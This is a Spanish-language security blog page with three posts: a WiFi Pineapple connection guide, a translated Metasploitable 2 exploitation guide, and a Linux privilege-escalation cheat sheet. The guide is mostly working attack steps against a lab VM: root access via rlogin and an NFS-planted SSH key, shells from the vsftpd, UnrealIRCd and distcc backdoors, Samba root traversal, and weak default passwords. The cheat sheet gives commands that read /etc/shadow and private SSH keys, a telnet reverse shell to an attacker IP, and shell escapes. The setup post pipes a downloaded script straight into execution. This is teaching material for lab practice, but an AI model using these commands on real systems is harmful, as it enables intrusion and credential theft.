Mostrando entradas con la etiqueta linux. Mostrar todas las entradas
Mostrando entradas con la etiqueta linux. Mostrar todas las entradas

sábado, 29 de septiembre de 2012

Manual de la Piña WiFi - Parte 5: Conectándose por Primera Vez

El escenario de conexión de la Piña WiFi (Mark IV) más básico involucra un cable Ethernet conectado directamente entre la Piña WiFi y el PC. Se han proporcionado configuraciones de la conexión tanto para Linux como para Windows.

Conexión vía Ethernet en Linux

Hemos hecho que la conexión de la Piña WiFi con Linux sea muy simple. Por defecto, la Piña WiFi viene con la dirección IP 172.16.42.1 y asigna direcciones IP a los clientes en el rango de 172.16.42.100-150. Su puerta de enlace predeterminada se establece como 172.16.42.42 ó como 172.16.42.1 dependiendo de su modo de operación (Módem USB vs. Tethering).

Esto significa que la Piña WiFi estará buscando una conexión a Internet desde el dispositivo con la dirección IP 172.16.42.42. Un script simple de conexión rápida se ha proporcionado como en http://wifipineapple.com/wp4.sh. Descargando y ejecutando el script le guiará a través del proceso de configuración de la interfaz Ethernet y la configuración del reenvío de paquetes IP (IP Forwarding) para compartir la conexión de Internet.

Encienda la Piña WiFi y conéctela directamente al PC host a través de cable Ethernet utilizando el puerto PoE/LAN. Descargue y ejecute el script de conexión rápida:
wget wifipineapple.com/wp4.sh; chmod + x wp4.sh; ./wp4.sh



El asistente de conexión hará algunas preguntas sobre la conexión de red. Para la mayoría de usuarios, la “Interfaz entre el PC y la Piña” y “Interfaz entre PC e Internet” son las más importantes ya que las demás se pueden establecer por defecto sin configuración específica.

Una vez estas preguntas son respondidas, el asistente configurará reglas de iptables y la Piña WiFi estará lista para ser utilizada. Acceda al Centro de Control de la Piña WiFi ingresando desde su navegador web a la dirección http://172.16.42.1/pineapple y autentíquese con el nombre de usuario “root” y la contraseña predeterminada “pineapplesareyummy”. 



Conexión vía Ethernet en Windows

Aunque en la actualidad no hay un script de conexión rápida para Windows 7, esta es bastante simple y sencilla de configurar.

Primero debemos entender que la Piña WiFi tiene una dirección IP predeterminada 172.16.42.1 y como cualquier router WiFi, asigna a los clientes direcciones IP en el rango de 172.16.42.100-250. Cuando se conecta un PC a través de Ethernet o WiFi, la Piña WiFi utilizará como puerta de enlace la dirección IP 172.16.42.42.

Así que, sí el adaptador de red del host Windows 7 de cara a la Piña está configurado con la dirección IP estática 172.16.42.42 y sí el adaptador de red de cara a Internet (Ej. Tarjeta WiFi o Módem USB 3G/4G) está configurado con conexión compartida a Internet, los clientes conectados a la Piña WiFi saldrán a Internet a través de conexión a Internet del PC Windows 7.

Comience por encender la Piña WiFi y conéctela directamente con un cable Ethernet al PC host Windows 7. Luego, haga click en Inicio, escriba "ver conexiones de red" y presione ENTER. Haga click derecho en el adaptador de cara a Internet y luego haga click en Propiedades.


En la pestaña "Uso compartido" active la casilla "Permitir que los usuarios de otras redes se conecten a través de la conexión a Internet de este equipo". Haga click en Aceptar y, a continuación SÍ a la advertencia.





A continuación haga click en el adaptador Ethernet conectado directamente a la Piña WiFi y haga clic en Propiedades.



Seleccione "Protocolo de Internet versión 4" y haga click en Propiedades.



Marque "Usar la siguiente dirección IP" e ingrese la dirección IP 172.16.42.42 y 255.255.255.0 para la máscara de red. Deje en blanco el campo de la puerta de enlace predeterminada. A continuación, seleccione "Usar la siguiente dirección de servidor DNS" y establezca la dirección 8.8.8.8 para el servidor DNS preferido. Haga click en Aceptar y luego en Cerrar.


Los adaptadores de red de cara a la Piña Wifi y a Internet del host Windows 7 se han configurado y se ha activado la conexión compartida a Internet. Ahora abra su navegador web de su elección, diríjase a la dirección http://172.16.42.1/pineapple y autentíquese con el nombre de usuario “root” y la contraseña predeterminada “pineapplesareyummy”. La conexión a Internet puede verificarse utilizando las herramientas ping o traceroute encontradas en la página “Avanzada” en la barra de navegación del Centro de Control de la Piña WiFi.


miércoles, 13 de junio de 2012

Guía de Explotabilidad de Metasploitable 2

Metasploitable 2


La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La versión 2 de esta máquina virtual se encuentra disponible para la descarga desde Sourceforge.net y contiene aún muchas más vulnerabilidades que la imágen original. Esta máquina virtual es compatible con VMWare, VirtualBox, y otras plataformas de virtualización comunes. De manera predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores de red NAT y Host-only, y la imagen no debe exponerse a una red hostíl. Este artículo describe muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta documentación sobre el servidor web y las fallas de aplicaciones web, así como las vulnerabilidades que permiten a un usuario local escalar a privilegios de root.

Este documento se seguirá ampliando con el tiempo a medida que muchos de los defectos menos evidentes en esta plataforma se vayan encontrando.


Primeros Pasos


Después de arrancar la máquina virtual, inicie sesión en la consola con el usuario msfadmin y contraseña msfadmin. Desde la shell, ejecute el comando ifconfig para identificar la dirección IP. 

msfadmin@metasploitable:~$ ifconfig
 
eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1 
          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1



Servicios


Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los servicios de red abiertos en esta máquina virtual utilizando el Scanner de Seguridad Nmap. La siguiente línea de comando analizará todos los puertos TCP en la instancia de Metasploitable 2:

root@ubuntu:~# nmap -p0-65535 192.168.99.131
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
39292/tcp open  unknown
43729/tcp open  unknown
44813/tcp open  unknown
55852/tcp open  unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En la siguiente sección, caminaremos a través de algunos de estos vectores.



Servicios: Báses de Unix


Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido configurados erróneamente para permitir acceso remoto desde cualquier máquina (una situación típica ".rhosts + +"). Para tomar ventaja de esto, nos aseguraremos de que el cliente rsh-client se encuentre instalado (en Ubuntu), y ejecutamos el siguiente comando como usuario root local. Si se nos solicita una llave SSH, esto significa que las herramientas rsh-client no han sido instaladas y Ubuntu está predeterminando a utilizar SSH.

# rlogin -l root 192.168.99.131
Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~#


Esto se pone tan bueno como se vé. El próximo servicio que debe tener en cuenta es el sistema de archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando rpcinfo para identificar NFS y showmount -e para determinar que el recurso compartido "/" (la raíz del sistema de archivos) estará siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfs-common para seguir adelante. 

root@ubuntu:~# rpcinfo -p 192.168.99.131
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  53318  status
    100024    1   tcp  43729  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  46696  nlockmgr
    100021    3   udp  46696  nlockmgr
    100021    4   udp  46696  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  55852  nlockmgr
    100021    3   tcp  55852  nlockmgr
    100021    4   tcp  55852  nlockmgr
    100005    1   udp  34887  mountd
    100005    1   tcp  39292  mountd
    100005    2   udp  34887  mountd
    100005    2   tcp  39292  mountd
    100005    3   udp  34887  mountd
    100005    3   tcp  39292  mountd

root@ubuntu:~# showmount -e 192.168.99.131
Export list for 192.168.99.131:
/ *


Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial. Para que sea así (y porque SSH está ejecutándose), generaremos una nueva llave SSH en nuestro sistema atacante, montamos el export NFS y agregamos nuestra llave al archivo authorized_keys de la cuenta de usuario root:

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#



Servicios: Backdoors


En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versión en particular contiene una puerta trasera (backdoor) que fue introducida en el código fuente por un intruso desconocido. El backdoor fue rápidamente identificado y eliminado, pero no antes de que unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado terminando con la secuencia " :) " (carita felíz), la versión con el backdoor abrirá una shell en escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un módulo de Metasploit Framework para explotarlo automáticamente:

root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.

root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)


En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versión contiene un backdoor que pasó desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un módulo para explotar esto con el fin de obtener una shell interactiva, como se muestra a continuación.

msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf  exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700

id
uid=0(root) gid=0(root)


Mucho menos sutíl es el viejo backdoor remanente "ingreslock" que escucha en el puerto 1524. El puerto ingreslock era una opción popular hace una década para agregar una puerta trasera a un servidor comprometido. Accederlo es fácil:

root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)



Servicios: Backdoors No-Intencionales


Además de las puertas traseras maliciosas de la sección anterior, algunos servicios son casi puertas traseras por su propia naturaleza. El primero de estos que está instalado en Metasploitable 2 es distccd. Este programa hace que sea fácil escalar grandes tareas de compilación a través de una granja de sistemas que aparentan estar configurados para tal fin. El problema con este servicio es que un atacante puede abusar de este para ejecutar un comando a su elección, como lo demuestra el uso del módulo de Metasploit a continuación.

msfconsole
msf > use exploit/unix/misc/distcc_exec
msf  exploit(distcc_exec) > set RHOST 192.168.99.131
msf  exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)


Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente ejemplo utiliza un módulo de Metasploit para proporcionar acceso al sistema de archivos raíz utilizando una conexión anónima y un recurso compartido con acceso de escritura.

root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk     
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf  auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*]     \\192.168.99.131\tmp\rootfs\

msf  auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]


Contraseñas Débiles


Adicionalmente a las más flagrantes puertas traseras y errores de configuración, Metasploitable 2 tiene terrible seguridad de contraseña tanto para la cuenta del sistema como para la cuenta del servidor de base de datos. El usuario principal de administración msfadmin tiene una contraseña que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea mediante el uso de otro defecto para capturar el archivo passwd, o mediante la enumeración de estos identificadores de usuario a través de Samba, un ataque de fuerza bruta puede ser utilizado para acceder rápidamente a varias cuentas de usuario. Como mínimo, las siguientes cuentas débiles del sistema están configuradas en el sistema.

Nombre CuentaContraseña
msfadminmsfadmin
useruser
postgrespostgres
sysbatman
klog123456789
serviceservice


Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el nombre de usuario postgres y contraseña postgres, mientras que el servicio de MySQL está abierto con el nombre de usuario root y con una contraseña en blanco. El servicio de VNC proporciona el acceso de escritorio remoto a través de la contraseña password.



Crossposted from Metasploitable 2 Exploitability Guide

sábado, 20 de agosto de 2011

Elevación de Privilegios en Linux (Cheat Sheet)

La siguiente Cheat Sheet es una recopilación de comandos básicos que nos pueden ayudar a realizar tareas de enumeración y obtención de información en sistemas Linux/Unix. No todos los comandos/parámetros funcionan con todas las distribuciones, asi que lo primero que hay que hacer es eso: identificar el sistema.


La Enumeración es la clave
La elevación de privilegios en Linux incluye:
  • Recolectar: Enumerar, enumerar y seguir enumerando.
  • Procesar: Ordenar los datos, analizarlos y priorizarlos.
  • Buscar: Saber que buscar, para qué y donde encontrar el código del exploit.
  • Adaptar: Personalizar el exploit, para que se ajuste. No todo exploit funciona para todo sistema "out of the box".
  • Probar: Prepararse para muuchas pruebas de ensayo y error.


Sistema Operativo

Qué distribución es? Qué versión?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
lsb_release -a


Cual es la versión del Kernel? Es de 64 Bits?
cat /proc/version  
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-


Qué se puede obtener de las variables de entorno?
cat /etc/profile
cat /etc/environment
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
cat /proc//environ
printenv 


Alguna impresora?
lpstat -a
lpc status
lpinfo



Aplicaciones y Servicios

Qué servicios están corriendo? Cual tiene privilegios de usuario?
ps aux
ps -ef
top
cat /etc/service
service --status-all
chkconfig --list


Qué servicios corren como root? Cuales son vulnerables?
ps aux | grep root
ps -ef | grep root


Qué aplicaciones están instaladas? Qué versión tienen? Están ejecutándose?
ls -alh /usr/bin/
ls -lah /sbin/
dpkg -l
rpm -qa
ls -lah /var/cache/apt/archivesO
ls -lah /var/cache/yum/


Alguna mala configuración en estos servicios? Hay plugins vulnerables?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/


Hay tareas programadas?
crontab -l
ls -lah /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root


Usuarios y/o contraseñas en texto claro?
grep -i user [filename]
grep -i pass [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla



Comunicaciones y Redes

Quá adaptadores de red tiene el sistema? Conectado a otra red?
/sbin/ifconfig -a
cat /etc/network/interfaces
dmesg | grep 'Ethernet driver'


Cuales son las configuraciones de red? DHCP? DNS? Gateway?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
route -n


Qué otros usuarios y máquinas se comunican con el sistema?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w


Que hay en caché? Direcciones IP y/o MAC
arp -e
route
/sbin/route -nee


Es posible la inspección de paquetes (sniffing)? Qué se puede observar? Escuchar tráfico en vivo
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21


Tenemos shell? Podemos interactuar con el sistema?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!


Es posible el redireccionamiento de puertos? Redireccionar e interactuar con el tráfico desde otra vista
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe
# FPipe.exe -l [puerto local] -r [puerto remoto] -s [puerto local] [IP local]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [puerto local]:[IP remota]:[puerto remoto] [usuario local]@[IP local]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Puerto Local
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Puerto Remoto

# mknod backpipe p ; nc -l -p [puerto remoto] < backpipe  | nc [IP local] [puerto local] > backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Retransmisión de Puerto Port (Relay)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Puerto 80 a 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Monitor de Proxy (Puerto 80 a 8080)


Es posible hacer túnel? Enviar comandos localmente, remotamente
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig



Información Confidencial y Usuarios

Quien eres? Quien está o ha estado logueado? Quien mas está ahi? Quien puede hacer que?
id
who
w
last
cat /etc/passwd | cut -d:    # Lista de usuarios
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # Lista de super-usuarios
awk -F: '($3 == "0") {print}' /etc/passwd   # Lista de super usuarios
cat /etc/sudoers
sudo -l


Qué archivos sensibles podemos encontrar?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -lah /var/mail/


Algo "interesante" en los directorios /home? Es posible acceder a estos?
ls -ahlR /root/
ls -ahlR /home/


Hay contraseñas, scripts, bases de datos, archivos de configuración o de logs? Rutas por defecto y ubicaciones de contraseñas
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg


Que ha estado haciendo el usuario? Hay alguna contraseña en texto claro? Que ha estado editando?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history


Qué información del usuario podemos encontrar?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root


Podemos encontrar información de llave privada?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key


Sistemas de Archivos

Qué podemos modificar en /etc/? Podemos reconfigurar un servicio?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Todos
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Propietario
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Grupo
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Otros

find /etc/ -readable -type f 2>/dev/null               # Todos
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Todos


Qué podemos encontrar en /var/ ?
ls -lah /var/log
ls -lah /var/mail
ls -lah /var/spool
ls -lah /var/spool/lpd
ls -lah /var/lib/pgsql
ls -lah /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases


Alguna configuración/archivo oculto en el sitio web? Algún archivo de configuración con información de bases de datos?
ls -lahR /var/www/
ls -lahR /srv/www/htdocs/
ls -lahR /usr/local/www/apache22/data/
ls -lahR /opt/lampp/htdocs/
ls -lahR /var/www/html/


Algo en los archivos de logs? (Podría ayudar con "Local File Includes"!)
cat /var/log/messages
cat /var/log/secure
cat /var/webmin/miniserv.log
cat /var/log/cups/error_log
cat /var/log/chttp.log
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log


Si los comandos son limitados, podremos saltarnos la "jaula" de la shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i


Como están montados los sistemas de archivos?
mount
df -h


Hay algún sistema de archivos sin montar?
cat /etc/fstab


Que "Permisos Avanzados de Archivos Linux" son utilizados? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Solo el dueño del directorio o del archivo puede renombrar o borrar aqui
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - ejecución como grupo, no como el usuario que lo inició.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - ejecución como dueño, no como usuario que lo inició.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID ó SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Busca SGID ó SUID en lugares "comunes": /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin y en cualquier otro *bin,  (Búsqueda más rápida)

# Buscar iniciando en la raíz (/), SGID ó SUID, no enlaces simbólicos, solo 3 niveles de profundidad, lista con más detalles y oculta errores de acceso (permission denied).
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null


En donde se puede escribir y desde donde se puede ejecutar? Unos cuantos lugares "comunes": /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null     # directorios con escritura para todos
find / -perm -222 -type d 2>/dev/null    # directorios con escritura para todos
find / -perm -o+w -type d 2>/dev/null    # directorios con escritura para todos
find / -perm -o+x -type d 2>/dev/null    # directorios con ejecución para todos
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # ejecución & escritura


Hay algún archivo "problema"? Archivos con usuario "nobody"?
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # Archivos con escritura para todos
find /dir -xdev \( -nouser -o -nogroup \) -print   # Archivos sin dueño



Búsqueda & Preparación de Códigos para Exploits

Qué herramientas/lenguajes de desarrollo están soportadas/instaladas?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc


Cómo se pueden cargar los archivos?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp


Encontrando Exploits


Buscando mas información sobre los exploits


Exploits rápidos. Binarios Pre-complilados. Utilizar con precaución



Mitigaciones

  • Probar con los comandos anteriores que tan fácil es obtener la información.
  • Configure una tarea cron el cual se encargue de automatizar scripts o productos de terceros.

El sistema se encuentra debidamente parchado? Kernel, sistema operativo, todas las aplicaciones, sus complementos y servicios web
apt-get update && apt-get upgrade
yum update


Están los servicios ejecutándose con el nivel mínimo de privilegios?
Por ejemplo, es necesario ejecutar MySQL como root?


Scripts que pueden ayudar a automatizar algo de esto



Otros enlaces y guías "rápidas"

Enumeración


Misc.


Crossposted from g0tm1lk